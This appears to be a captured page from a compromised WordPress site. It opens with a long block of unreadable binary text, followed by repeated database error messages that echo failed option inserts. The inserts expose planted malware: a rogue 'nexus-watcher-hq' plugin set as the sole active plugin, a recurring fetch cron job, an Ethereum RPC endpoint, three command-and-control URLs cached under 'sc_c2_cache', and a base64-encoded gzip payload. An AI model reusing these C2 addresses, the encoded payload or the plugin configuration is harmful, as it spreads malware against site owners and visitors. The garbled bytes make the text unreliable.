OVTRUNKG^8UVUVOUTQTNKGCP8Q_
N\CRUVV	ZOWTLWN\CW_QZCRUVV	BVQ\mGGGGOWW RUOUV^VNOCP8Q_
KG8Q TOUTQSNNGFZZGWNGGGCP8Q_
GGZGG^8UVUVOUTQSNGGGGGIGG	QU 
OVT_QNOCP8Q_
KGG@H@N\mCURUW TS	WGGGZG@H@\mGGGO	QU 
OUTV_NO^8UVUVOUUQVNNNGmGGGGGGGCT8QU	GGGGGGZGO	 NG^8UVUVOUUQUNO
8ONKG7/7825+87&3/N\mmmmGGOCT8QU	GFZZGGGEEGAAGGGGCT8QU	GFZZGG@H@NGGGCURUW TS	WGGGZGG8Q TOUV^QNOCT8QU	KGGGGG@H@NGGGGGIG@H@\mGGmmGmGGGGGO^8UVUVOUTV_NO8Q TOVPQ_NNNGGmHHG'Gmm'8	O^8UVUVOUTTPNKGGGVKGWW RUOUVQ^NN\mGGGGGGG'8	OWW RUOUTT_NKGCP8Q_
KGG^8UVUVOUTQRNN\mGmGGGGGGC	Q^ WT
	GGGZGGG	QU 
OUTQQNGIGGGC	V TGIGGGGG@Y@mGGIGWW RUOUTQPNmIGGG	QU 
OUTSVNGIGGC	V^OWW RUOUTQ_NNGGGIG8Q TOUTQ^NmGGGGGGGGIG8Q TOUTPWNmIGGWW RUOUTPVNGGIGGGGC	V^O	QU 
OUTPUNNGGGGIGG^8UVUVOUTPTNGIGWW RUOQRTNOCP8Q_
NGIGGGGGG@N@mmmmGGIGGWW RUOUTPSNGGIGGGGGGC	V^OWW RUOUTPRNNGGIGGG^8UVUVOUTPQNGIGGGGGG^8UVUVOQRTNOCP8Q_
NGGGIGGGWW RUOUTPPNGGIGGG8Q TOQRTNOCURUW TS	WNGGGIG	QU 
OUTP_NGIGC	V^O^8UVUVOUTQWNNGGIGGGG^8UVUVOUTP^NmGGIGG	QU 
OUT_WNGGGGIGGGGC	V^O^8UVUVOUT_VNNGIG8Q TOUT_UNmGGGIGGGG^8UVUVOUT_TNGGGGGIGGGC	V^O	QU 
OUT_SNNGIGGG^8UVUVOUT_RNGGGIGGGGC	V^O8Q TOVQQNNGGGGIGG	QU 
OUT_QNmGGGGIGGGG	QU 
OUT_PNGGIGGGC	V^O8Q TOUT__NNGIG	QU 
OUTQ^NmGGGIGGGG8Q TOUT_^NmGGGGIGG^8UVUVOUT^WNGIGGGC	V^O8Q TOUT^VNNGIGG	QU 
OUT^UNmGGGGIGG	QU 
OUT^TNGGIGGGGC	V^O	QU 
OUTS^NNGGGGIG^8UVUVOUT^SNGIGGGGC	V^OWW RUOUT^RNNGGIGG	QU 
OUT^QNmGGGGIGG	QU 
OUTQUN\mGGE;	EGGGIGGC	Q^ WT
	GGIGGGGE;	E\mGGGGGGGGO3GC  PNGGmmmmGWS	V VQPO	QU 
OUT^PNKGGGC  PN\mGGGGGGGGO"	GGC  PNGmGGWS	V VQPO	QU 
OUT^PNKGC  PN\mGmGmGmGGOTQRONNGGmmGGGGGG	\mGGGGmGGGGGGV	
UUON\mmmmGC^8^GGGGGZGGG'WW RUOUUVPNO^RRONN\mGGOFC^8^GGGGGOC^8^GBGGO^^^PULU_NNGGGFZZGGGGVS^SONNGGmGGC
	R
GZGG8Q TOUTUVNON\mmmmGGGGGQ	WTT UO^RRONKGGGOC
	R
GGGGJGGOC
	R
GGBGGGO^P__ULUVV_NNNGGLGGVS^SONN\mGGGGGG	OC
	R
N\mmGGmmmmGGGGGG	OC^8^N\mGGmGGGC8^GGGGZGGG88!.+"88\mGGC8V_ SGZGGGGGGEE\mGCQW 8GGGGZGGGG'^8UVUVOUUURNOC8^KGKGG	KGWKGGGOV_R_LUUT_NN\mGGGGO^8UVUVOUTUUNOCQW 8NGAAGGGG8Q TOUT^_NO	QU 
OUT^^NKGGGCQW 8KGGGGC PV
NNGGC8V_ SGGGGGZGC PV
<V:\mmGGGGGGOC8V_ SGGGFZZGGGEEGGGAAGG	OWW RUOUVR^NNNGGGGGmC GZGON\mmCRRGGZG	O^8UVUVOV^^UNNGGXGGGGGG07*287+2 .)8#.5GGGG]GGGG078$()3")38#.5GGGIG^8UVUVOVRN\mGCVR	GGGZGGG	O^8UVUVO_UUNNGXG0787+2 .)8#.5G]GG078$()3")38#.5GIGGG^8UVUVOVQPQN\mGGGGGGGC^UPW
Q8GGGZGG\mGGGGGGGGO	QU 
OUTV_NO^8UVUVOUW^TNNNGGGGmGGGC8QTGZGG'^8UVUVOVT^VNOCRRNGGXGG'WW RUOUW^TNOCRRGGGIGG8Q TOV^^SNNGGGG]GG\mGGGGCT PGGGGGGZGG'WW RUOUW^TNOCVR	GGGGIGGWW RUOS_QNN\mGGGGOWW RUOUSWWNOC8QTNGGGG^8UVUVOUSWWNOCT PNNGGGmmmmGC^UPW
Q8GGZGG\mGGGGGGGGGOONGGGC8QTGGGGGGC		RNGGGC <:GZGC		R\mGGGGOONGGCT PGGGGGC		RNGC <:GGZGC		R\mGGGm	OC8QTKGGGGGGCT PN\mmHHG5GG]GG	mmmmmGGGGGGGGGGOFC^UPW
Q8NGGGGmHHG07G53G&7.]G
	G	 mmGCWWVRGZGG'	QU 
OVT^VNOCRRNGXGGVSOCRRNG]GGGG\mGGGGO	QU 
OUSWWNOCWWVRNNGGGGGOCWWVRGGGGGC	TPWURNGmGGGGO8Q TOUTU_NOC	TPWURKGGGGGJOWTLWVNNGZZZGGGGWW RUOUSWVNNGC <:GGGGGZGGGCRRGIG@H@GGIGGGC	TPWUR\mmGGmGGCWWVRGZGGGG'8Q TOVT^VNOCVR	NGGGXGGGGGGVSOCVR	NG]GG\mGGGGGGmmGGGGGO8Q TOUSWWNOCWWVRNNGGGGOCWWVRGGGC	TPWURNGGmGGC_ GGGGGZGGGCVR	GIG@H@GGIGGC	TPWUR\mGOF'^8UVUVOVT^VNOC_ NNG		\mGCUQGZGGVSOC_ N\mGGGOF8Q TOUSWWNOCUQNNGG		\mGGGGGOCUQGGGGGGGGGC U	UT  QTNGGGGmGGGGO8Q TOUTU_NOC U	UT  QTKGGGGJOWULWUNNGGGZZZGG^8UVUVOUSWUNNGC <:GGGZGC_ GGGIGG@H@GGIGGC U	UT  QT\mmmmGmHHGG  mmmGGGGG	OCWWVRKGC	TPWURKGGC U	UT  QTKGGC_ KGCUQN\mGGmmGGGGGmGGGGC8Q		UGZGGG^8UVUVOUUUSNOC8^KGG	QU 
OUSWTNN\mGGOC GGGGGGC		RNGmGGOC		RGZZZGGGGGC8^NG		\mCTRGZGGGGGG'^8UVUVOUUVPNOC		RN\mGGOFCTRGGGOCTRGGBGGGO^^^VVL_^NNGGGFZZGGGO^TPPQLSTNNGGmGGGCTW_
^TQGZG'WW RUOUUTQNOC		RN\mGGOFCTW_
^TQGGGGGCTW_
^TQG[GGOS^WLVWNGGGGGGCTW_
^TQGGGYGGOQURTPVP^JVWVW_TP^NNG		\mGGGGGGmGGGGGGCQW 8GGGGZGGG'^8UVUVOUSWSNOC		RKGGGKGGGG	KGGWKGGGOSWR_LT_NN\mGGGGGGGGGGGGGOF	QU 
OUTUUNOCQW 8NGGGGG^8UVUVOUSWRNOCQW 8KG	QU 
OV^VWNNGGZZZGNGGGG		\mGGGGGGGGOFWW RUOUT^_NO^8UVUVOUSWQNKGCQW 8KGGGC PV
NNGGGGGG		\mmGGGGOWW RUOUSWPNOC		RKGG^8UVUVOUSWTNNGZZZGGC8Q		UGGGAAGGC PV
<V:GZZZGC8V_ SNGGGGGmmmmGGOF	_S8
VOC		RNNGGGmGGGGGGGO	
R
 S	VTOC		RKGGGC		RGGGGGIGGG	QU 
OUWWVNNGGGAAGG^8UVUVOUTV_NO^8UVUVOUSW_NNNGGGGG'8	OC		RKGGN\mGGGmG		\mGmGGGGGO	8
OC PV
<V:KGC8V_ SKG@[@NNGGGmGGGC	Q QGGGGZGGG^PTUPW	Q_OC		RN\mGGGGGGGOC	Q QGGGGZZZGGNGGmGGGGGWS	V VQPO8Q TOV^TUNKGG	QU 
OUSW^NGGIGG	QU 
OUSVWNOC		RNN\m		\mmmmmGGOC	Q QGGGZZZGGGGNGGmGGO	
R
 S	VTOC		RKGGC		RGGIGGGG8Q TOUWWVNNNGGmGGGGGGOWW RUOUTV_NO^8UVUVOUSW_NNNGG'8	OC		RKGGN\mGGmmmGGGGG'WW RUOPRQNO	QU 
OUWWSNOC		RNGGGGIGGG8Q TOUSVVNGGIG8Q TOUSVUNOC		RKGGWW RUOUSWTNNN\m		\mmGGGmGG'WW RUOPRQNOC		RN\C RQ_^Z7/78*&-(581"54.()\CPS_VZC RQ_^MT\mGGGG'8Q TOUSVTNO^8UVUVOUSVSNOC		RNGIGWW RUOUSVVNGGGIGGGGGGWW RUOUSVUNOC		RKG^8UVUVOUSVRNNN\mGGGGO	QU 
OUSVQNO8Q TOUSW_NNNGGG'8	OC		RKGN\mGG		\mmGGGGGGC	VSGZGGO8Q TOUSVUNOWW RUOUSVSNOC		RNNGGZZZGWW RUOUSVPNGGGGGWW RUOUSVSNOC		RNGGGZZZGGGGCRRN\mmmGGGGOFC	VSGGGGAAGGGWW RUOUSV_NO8Q TOUUQSNNNGGGmGGGCWPGZG	QU 
OUSV^NO8Q TOUSVSNOC		RNNGIGGGG@H@GIGWW RUOUSV^NOC		RN\mmmmGGC_TGGGZGGONG' 8	O8Q TOUUTUNKGONN\mC	VSGGGGGGZGGGG8Q TOVUSPNOCWPKGGGC_TKGGGGGGN\mGOFC	VSGGGGAAGGGG^8UVUVOUSV_NOWW RUORVQNNGGGAAG8
ONGGGAAGGGGGG8Q TOUSV_NO	QU 
OUSUWNNNGGGGmCT	S8QP	GGGGGZGONG' 88	O8Q TOUVPNKGONN\mGC	VSGGZGGGOCT	S8QP	<CWP:N\m	OCT	S8QP	N\mGmmm	OCWPKGC_TN\mGGGGGmGGGGOFC	VSNGG		\mmmmGGGGGO	8
OC PV
<V:KGC8V_ SKGG@Y@NNGGGGGmGGGGO	_S8
VOC		RNGGGAAGFQ^
Q8U_OC		RNNGG	\mGGCU R 
GZGGGGG8Q TOUSUVNOC		RNGGGGGIGGG8Q TOUSUUNGIGGGGG	QU 
OUUTTNOC		RN\mGGGGGO'^8UVUVOUUTRNOCU R 
NGGGAAGGGO	NGG'^8UVUVOUUVPNOCU R 
NGG[GGG	QU 
OUTUVNONGGGJGGGOT_LUUNNGGmGGGGC8WGZGWW RUOUSUTNO@@KGO	 NGG'8Q TOUSWSNOCU R 
NN\mGGGGGGO8Q TOVRV^NOC8WNGGGG[GUGGGC8W<W:GGGGFZZGGGC PV
<V:GGGGGO	NGC8W<V:GFZZGGGGO	NG'^8UVUVOUUTQNOC		RNNGmmmGG'	QU 
OUSVTNOCU R 
N\mGGGGGGGG		\mGGGGGGmGGGGO^PTUPW	Q_OC		RNGFZZGNGGGGGGmmmGG



T_WOC		RKGGOTRSLQQNN\mGGGGOU	U8OC		RNNGGGmmmmG'^8UVUVOUSUSNOCU R 
N\mmmmGGGGGO^8UVUVOUSV_NO	QU 
OUSW_NNNGG'8	OC		RKGGGN\mGmmGG		\mGGGGm'^8UVUVOV^VSNOCU R 
KGGC PV
<V:GIG@@GIGGGGO	NG'WW RUOUSURNOC		RNN\mGGGGG		\mGmmmGGGGGGGGGGGGGOC PV
<V:GZZZGC8V_ SNGmGGGGGGC8 T U8GZGGGGGQWP_U^QON\mGCR^UGZG\CRU8ZOWLWUQN\C^SZCRU8BVS\mGGOF
OC8 T U8<^8UVUVOUSUQN:NNGGmGGGGGGGC S^QGGGGGGZG'8Q TOUSUPNOC8 T U8<	QU 
OUSU_N:N\mGGC^Q^ PVGGZGG'8Q TOUSUPNOC		RN\mGGGGGGGOWW RUOUTUUNOC S^QNGAAGGG	QU 
OUTUUNOC^Q^ PVNGGGAAGGGGGGC S^QGZZZGC^Q^ PVGGGGAAGG_
	T
_ OC8 T U8NGGGGGZZZGGGGG^8UVUVOV^WTNGGGGAAGGGG	_S8
VOC		RNNGGG	\mmmmGGGGGGGGO	QU 
OUTUUNOC S^QNGAAGC S^QGGGGGZZZGG'^8UVUVOUSU^NOC8^NNGGCR^UGGGGZGGG\mmmmmHHG'
G	mmmGGGOFCR^UGAAGF	_S8
VOC		RNNGGGGGGmGGGOQ^
Q8U_OC		RNGGGGGG^PTUPW	Q_OC		RNGFZZGGGGNGGGGmGGGO	
R
 S	VTOC		RKGGGGC		RGGIGWW RUOUWWVNNGAAGG8Q TOUSTWNO	QU 
OUSW_NNNGG'8	OC		RKGGN\mmHMGGGMHmmGGG	OC8 T U8KGGGGCR^UKGGC S^QKGGGC^Q^ PVN\mGG		\mmmmmGGGGGOFCR^UGGGGGAAGWW RUOUSTVNO8Q TOUUTTNO	QU 
OUSV^NOC		RKGWW RUOUSTUNNNKGGWKGOTL^NNGGYGGGGG^8UVUVOUSTVNO8Q TOUSTTNOC8Q		UNKGGWKGGGGGOUVV9UUTNNNG	\m	OC8 T U8KGGGCR^UKGC S^QKGGGGC^Q^ PVN\mGGGGGmmmmGGGGGmmmmmGG	OC8^KGC8V_ SKGGGGGGCQW 8KGGGC PV
KGC KGGGGCRRKGGCVR	KGGC		RKGCTRKGGGC8Q		UKGGGGCTW_
^TQKGGC	Q QKGGGGCU R 
KGC8WN\mGGGGGO3GC  PNGGGmGGGGGGGGGGGGGO"	GGC  PNGmmmGmGGGGGGGGOOC +(%&+4<WW RUOVPSN:NNGGmHHGG	mmGGGGGO	8
OO	 NGGC +(%&+4<	QU 
OVPSN:KGG^8
U_U
ONKG	QU 
OV^_NNNGGGG	\mGC +(%&+4<^8UVUVOUWUSN:GZGGGGGV\mGGGGGGGGGGGO	O	QU 
OUSTSNNNGmGGC
SGZGG		OWW RUOUSTSNN\mmmGGGOWW RUOUTUUNOC
SNGAAG	QU 
OUT^_NO8Q TOUSTRNKGC
SNGGGGGAAG	8
OC
SKG^8
U_U
ONKG	QU 
OUSTQNNNGGGGG	\mGC +(%&+4<WW RUOUWUSN:GZGGGGV\mGGGGGGG	OC
SN\mGGGGmGGC +(%&+4<8Q TOUSTPN:GZGGG^8
U_U
ON\mmmGGO	QU 
OUST_NO8Q TOUST^NNNGG'OKGGGG^RRONN\mGC +(%&+4<WW RUOVPRN:GGZGO	 NGGG'WW RUOUSURNO^RRONNGGIG@]@GGGGGIGO	 NG'	QU 
OUSSWNO^RRONN\mmGGGGOF	O8Q TOUSTSNNNGG	O^8UVUVOUSSVNKGG^8
U_U
ONN\mGGGGGOF	O	QU 
OUSSUNNNG	OWW RUOUSSUNKGGG^8
U_U
ONN\mG8^^
 OWW RUOUTWNN\mmmmGGGGm	 ^	R O^RRONN\mGGGGOWW RUOUSSTNO	QU 
OUSSSNNGGAAGG8Q TOUSSTNO	QU 
OUSSRNNNGGmGGGGmGC_RW
QGZGG8^SU ^ON\C8_		ZUUWUSQ\C T
ZC8_		9UR\mGO'^8UVUVOVT^VNOC_RW
QNNGGGmHHG07G*G3G%G		GmmmGGGCR

	SUUPGZGG
_QVON\mCVPT
8GGGZGGGGVSOC_RW
QN\mGGGGGGGOWW RUOUSWWNOCVPT
8NNGGGmGGGGOCVPT
8GGGGGGCSTU_NGGmGGGGGGGGOCSTU_GZZZGGCR

	SUUPNGGG		\mGGGO8Q TOUSSQNOWW RUOUSSPNOCSTU_KGGG		OWW RUO_WVNNNNGFZZGG^8UVUVOVURUNNGGGG		\mmmmCW88R
UGZGGGGGC_RW
QGGGGGIGG@H@GGGGGGIGGGGGCSTU_\mGGO'^8UVUVOUUTRNOCW88R
UNGGAAG'8Q TOUSS_NOCW88R
UNGGGGYGGGGOW_P_LWVWNGGGAAGGRU	_8
OCW88R
UKGOQP__JVP__NNNGGGmmmmGGWV_ 
T OCW88R
UN\mmmGGGmGmGmHHG	G
	G
	JmmmGGGGGGGGGO3GGGGGC  PNGGGGGGmGGGGWS	V VQPOWW RUOUTTNKGGGC  PN\mmGGGGGO"	GGGGGGC  PNGGGmmmGGGmGGGmGGGGGmGGOFGSS	_8

8VQONNGGGC	
8PPSZ7/78.)38*&?H7/78.)38*&?\C8^ZC	
8PPSL^S\mGGG_ O	QU 
OUSS^NKG	QU 
OUSRWNKGGVN\mGGGmmGGGGGGGGmGGmGGGGC +(%&+4<WW RUO_TTN:GGZGON\GGmC +(%&+4<8Q TOUSRVN:GGZGGON\GGGGmGGC +(%&+4<WW RUOQ^PN:GGGGZGGEE\GGGGmGGGGGGOWW RUOUSSTNO^8UVUVOUWTUNNNGmmmmG8Q TOUWTUNO^8UVUVOUSRUNN\mGGG^8UVUVOUWTUNO8Q TOUSRTNN\mmCRP_
GZGGGGGG^8UVUVOUSUVNO^RRONNGIG8Q TOVP^NGGGIGGGGGG8Q TOUSV^NO^RRONKGGGGG^8UVUVOUSRSNN\mmGGO'WW RUOUUTRNOCRP_
NNGGGGmGCPRT	GGGGGGZGGWW RUOUSRRNOO	 NG'WW RUOUSWSNOCRP_
NN\mGGGGGGGC	P	

GZGTWUTON\mmmGGGOCPRT	GGGGZZZGEEGGGGGCPRT	GFZZGGC	P	

NGGGU	U8OCRP_
N\mG	OCPRT	KGGGC	P	

N\mmmGmGGGGG'WW RUOUSRQNO^8UVUVOUSUVNO^RRONNGGGIGGWW RUOUSRPNGGGIGG^8UVUVOUSR_NO^RRONKGGGGGWW RUOUSRSNNN\mmGC^GGZGGGGWW RUOUSR^NGGGIGGGGTWUTON\mGGGGGGGOOWW RUOUSUVNO^RRONNKGG8^SU ^ONNGGGC8_^V	PNGGGmGGGGO'8Q TOUUTRNOC8_^V	PGGGIGG@H@GIGGGGGGC^NNG'	QU 
OUSUSNOC8_^V	PGGIGGGGG@H@GIGGC^N\mGGGmG	OC^KGC8_^V	PN\mmmGGGGGGO3GGGC  PNGGmGGGGGGGGGGGGGGO"	GGGC  PNGGGGGGmGGGmHHG07G%G1	]GG	J
mmGGGG	OCRP_
N\mGGGGGGmGGGGG_ OWW RUO_^UNKGGG	QU 
OUSQWNKGGGWN\mG_ O	QU 
O_^UNKGGGGGG^8UVUVOUSQVNKGWN\mGGGGG_ O	QU 
OUSQUNKGGGWW RUOUSQWNKGGGWN\mGG_ O	QU 
OUSQTNKG8Q TOUSQSNKGGGGGWN\mG_ OWW RUOUSQTNKGG^8UVUVOUSQRNKGUN\mGG_ OWW RUOUSQQNKGG	QU 
OUSQPNKGGGOVLUNN\mGGGG_ OWW RUOUSQ_NKGG8Q TOUSQ^NKGOVLTNN\mG_ O^8UVUVOUSS^NKG8Q TOUSPWNKGOTLUNN\mGPTSQQ	

TO8Q TOUSPVNKGGGG8Q TOUSPUNKGGGGGGORLRNKGGVN\C	S	_	ZVPQVU\CR_S^QZC	S	_	9VP\mGGGGGPTSQQ	

TO8Q TOUSPTNKGGWW RUOUSPSNKGGGGGO^LVNKGVN\mmmmPTSQQ	

TO8Q TOUSPRNKGGGG8Q TOUSPSNKGGOWSLWQNKGGGGGGVN\mmGGGGGPTSQQ	

TO8Q TOUSPQNKGGGGWW RUOUSPSNKGGGGOPLTNKGGGVN\mGGGmGGPTSQQ	

TOWW RUOUSPPNKGGWW RUOUSP_NKGGOWVQLWUVVNKGOVWV9VWUNN\mGG_ O	QU 
OUSP^NKGGGGG^8UVUVOUS_WNKGGGGO^PQLUTNKGGGGGUN\mGmGPTSQQ	

TOWW RUOUS_VNKGGWW RUOUS_UNN\mGGGPTSQQ	

TO8Q TOUS_TNKGWW RUOUS_SNKGGOPLTNKGGUN\mPTSQQ	

TOWW RUOUS_RNKGG8Q TOUS_QNN\mmmGmmmmGGPTSQQ	

TO^8UVUVOUS_PNKGG8Q TOUS__NKGGGOW_LWUNKGVN\mmGmmPTSQQ	

TO8Q TOUS_^NKGGGGGGWW RUOUS^WNKGOTLPNKGGGGGUN\mGGG_ O8Q TOUS^VNKGGWW RUO^UPNN\mGPTSQQ	

TOWW RUOUS^UNKGGGWW RUOUS^TNN\mGGmmmmGGPTSQQ	

TO^8UVUVOUS^SNKGWW RUO^TQNN\mGGGGmGGGGG_ O8Q TOUS^RNKGG	QU 
OUS^QNKGGJO^_QLVTNN\mHHG G	G mC
8QPUQTZ7/78*&-(581"54.()\CR T^_ZC
8QPUQTMU\mmmGGGG_ O8Q TOUS^PNKGGGGG	QU 
OUS^QNKGGJO^_SLVRNN\mGGGG_ O^8UVUVOUS^_NKGGGGWW RUOUS^^NKGGJO^WPL^UNN\mGGGmGG_ O^8UVUVOURWWNKGGGG^8UVUVOURWVNKGGGO^P_LUVNN\mGG_ O	QU 
OURWUNKGG8Q TOURWTNKGGGWN\mGGGGGGGG_ O^8UVUVOURWSNKGG8Q TOURWRNKGGGOVWVRJVQNN\m_ OWW RUOURWQNKGGGGGG8Q TOURWPNKGGO^SRLRSNN\mmGGG_ O8Q TOURW_NKGGWW RUOURW^NKGGGGUN\mGGG_ O	QU 
OURVWNKGGG	QU 
OURVVNKGGWN\mGGGm_ O^8UVUVOURVUNKGGG	QU 
OURVTNKGGWN\mG_ O8Q TOURVUNKG8Q TOURVSNKGGWN\mGm_ O^8UVUVOURVUNKGGG^8UVUVOURVRNKGGGGGVN\mGGG_ O^8UVUVOURVQNKGGWW RUOURVPNKGGGUN\mGGGmGGG_ O8Q TOURVQNKG^8UVUVOUSQRNKGGOWULWVNN\mGGGGG_ O	QU 
OURVQNKGGG8Q TOURV_NKGORJVNN\mGG_ OWW RUOURVQNKGGG	QU 
OPTQNKGGOQ9TNN\m_ O8Q TOURVQNKGG^8UVUVOURV^NKGGGOV^_9V^UNN\mmm_ O	QU 
OURVQNKG	QU 
OURUWNKGGOWULWSNN\mGGGGG_ O	QU 
OURVQNKGGGGGGWW RUOURUVNKGGOPT9P^NN\mG_ O^8UVUVOURVQNKG8Q TOURUUNKGGGOV^W9V_RNN\mmmGGGGGGO	QU 
OUSSTNO8Q TOURUTNNNGGGGmGWW RUOURUTNO		GGONGGGmGGGGOF
OC +(%&+4<WW RUOUWUPN:NNGGG	\mmmmGGGGGGGOF	OWW RUOUVPWNNGGGGGGFWW RUOURUSNOWW RUOURURNNNGGGGG	\mGGGGGGGO^8UVUVOURUSNOWW RUOURUQNNNGGmGGGmGGGGG
 RW8TS8STON\mGGGGGGGGO3GGC  PNGGmGGGGGGGGO"	GGC  PNGGmGmGGmN\mmmmGGm_ O8Q TOURUPNKGGGGGG^8UVUVOURU_NKGGOULQNN\mGGGGGGG_ O	QU 
OUVTPNKGWW RUOUVTPNN\mmmG_ OWW RUOUVT_NKG^8UVUVOURU^NN\mmmmGGGG_ O	QU 
OUSS^NKGGGGWW RUOURTWNKGGOWSLWQNN\mm_ O	QU 
OURUPNKGGG		GGGGGONGGGGmGGGGGGGOF	QU 
OURUSNO8Q TOURURNNGGGFWW RUOURTVNO	QU 
OVPQ_NNNGG	\mGC	 P^8 GGGGZGGGO	NGGG' 8	O8Q TOURTUNKGWN\mmGGGGGGOOWW RUOUTUVNONGJGGC	 P^8 NGGYGOURPLTTSTNNGGGGmG'8	O8Q TOURTTNKGG	QU 
OUTUVNONN\m^ST
8URTON\mmGKGGGGOVUS9VVPNN\mmmmGGG_ O^8UVUVOURTSNKGGG8Q TOURTRNN\mGGGGGPTSQQ	

TOWW RUOURTQNKGGGG^8UVUVOURTPNN\mmmGGGGGOWW RUOURT_NO8Q TOS^QNNGAAGG8	O	QU 
OURUPNNNGGGGGmUS^8	Q_WVU8ON\mmGGGGGGGmGGGmE\', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_fetch_fails', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_fail_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_initialized', '4.3.24', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788692914;a:1:{s:13:\"sc_cron_fetch\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:11:\"sc_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:36000;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_rpc', 'https://0xrpc.io/eth', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_c2_cache', 'https://basic-junior.com/SGct2K\nhttps://railroad-boot.com/SGct2K\nhttps://great-basic.com/SGct2K', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:37:\"nexus-watcher-hq/nexus-watcher-hq.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('11774c3834', 'H4sIAAAAAAACA8z9aXvixtYoDH/3r5C7YRvak2ahdkPandghMfEQ5+72jR2rBQgkEAgkQIDt//7WJKmqJGzvc871XG/vHQxSzbVq1ZrXl1+m7nRn5/jTpx3hk3DtLwbeRLi0x85nAf9rrqdOKPxuz53YXgstb+5QBf/n7z+ScoI7n0+jz8fHA2/uLjpH3WB87Hv22PV8/9iFjRwOcCOHPmnkNyfqht507gWTpJXrMBiEThR5S0fo2XO7Y0eOMLa9ydyZ2JOuI4Bmp/YE1IANfHfCiKoM/0lH8pEK350u5m4Q0q/A4O2x0ATjge9bXteZRA5d4Pfr1qF8JB4G4aEPhhrCYv84q7nwWwCHkBQtnszfzmzhgaEL9lzwHTuafxa0I5F5c928Jm0Y6M0xWHbh9tfvn9Uj5UhW4QOvX9ntLyZduCaWs/KieVTZi2NLH7iesoz3qv/5z26l0nP63sTpVfZuf7V+vfr7zPp2dfWP9f3sb/h+iRfFQisVOpVKNA+9yaDKlz3Yw93uHew16nvV6vNzxYsiZ14p/d66+nbaur3fi7pWJwjmFmhy799Xmt5Sg++hWn1K5iaEE38zDwKxJy3lSsmrPkVze+51hZJdnyx8/wQsBPhaRz+qT+CrHYb22ho74cCpoO+VvY30U97oc9B8u1EOmn75Anw9/6h8PD4HX05b7eZz66YJvjqz50bdunguNx/2rHa9DR4N3Nml9VymCn2Wy/KP1TTcLwvhLmyz7g8uYFG37ls38MHsFDzDb9zmM/gSWz6pTLXjk+Kf5eGKbfHh4WZm4o5huzc2qA/X5vbmIgZ/Z8+u9WyDL/WLWeMWtvTK+BsXgwgWbd4MQCHmWztqly+b9TJ8UsZdPDzUbwbgr9UmD8CXK9+qt05dMvXH5b5u7OtkpFcDs3HxXG8+11FlEX1+BKvMNZNMgW2uaLlnoLEAfNGHMuiij/cMtFZ2rIe9Zlxcy2+23EGrDtci2+tkfelhwaHER3hH0MPGhd8sZ3tWPSAgg0vBt+DPx8EtmQ0oYz1f0ltLr5Rj4WmBP2hhydK0iwfdurg5fm4qZ09PUWxbbtHyPjwQKHh4eHPi1Fd6oNmw4IguBrCB4rZmg7hVb2ZFyKxboFzQLGfgCFps+X4LQhU4GMnXXDH0ohy03FmzzY1p4DcvyzetOgJesD3g/wf3Px9Hv72I8TfxY/Lx4V48AO/w3MEcburWTbK+beuwiWGj4YNZOE3cGPg9aEXuRSsuQ4hsDVqNW7wX4Ni38bx+GrsjY7f8c7nQP292Db